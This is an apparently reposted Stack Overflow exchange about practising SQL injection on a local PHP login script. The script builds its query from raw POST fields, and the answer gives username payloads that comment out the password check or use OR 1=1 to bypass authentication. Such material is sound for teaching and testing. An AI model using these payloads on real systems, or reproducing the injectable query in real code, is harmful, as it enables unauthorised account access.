gpt4 book ai didi

php - 安全PHP登录SQL注入(inject)

转载 作者:行者123 更新时间:2023-11-29 11:02:09 25 4
gpt4 key购买 nike


我想在此登录脚本上尝试本地主机 SQL 注入(inject)。但我不知道怎么办。数据库有三列idnameUserpasswordUser。或者我需要创建一些其他脚本,这对于注入(inject)来说是不安全的。
感谢您的建议。

if(isset($_POST['sent'])) {
$nameUser = $_POST["name_User"];
$passwordUser = $_POST["password_User"];
$heslo = hash('sha512', $passwordUser);


$dotaz = $spojeni->query("select * from uzivatele where nameUser = '$nameUser' and passwordUser = '$heslo'");
$result = mysqli_num_rows($dotaz);
$row = mysqli_fetch_array($dotaz);
if ($result == 1) {
echo "You are log in";
die();
} else {
echo "badlogin";
exit();
} }

最佳答案

要以 john 身份登录(假设它是有效用户),您可以进行以下转换:

select * from uzivatele where nameUser = '$nameUser' and passwordUser = '$heslo
^^^^^^^^^

...进入此:

select * from uzivatele where nameUser = 'john' -- ' and passwordUser = '$heslo'
^^^^^^^^^

...通过将 $_POST["name_User"] 设置为等于下划线代码。密码条件被完全忽略,因为它现在位于注释内。

如果您不想冒充某人,而只想使用任意随机用户登录,则只需确保最终查询仅返回一行,例如:

select * from uzivatele where nameUser = '' OR 1=1 LIMIT 1 -- ' and passwordUser = '$heslo'
^^^^^^^^^^^^^^^^^^^^

关于php - 安全PHP登录SQL注入(inject),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/42051912/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com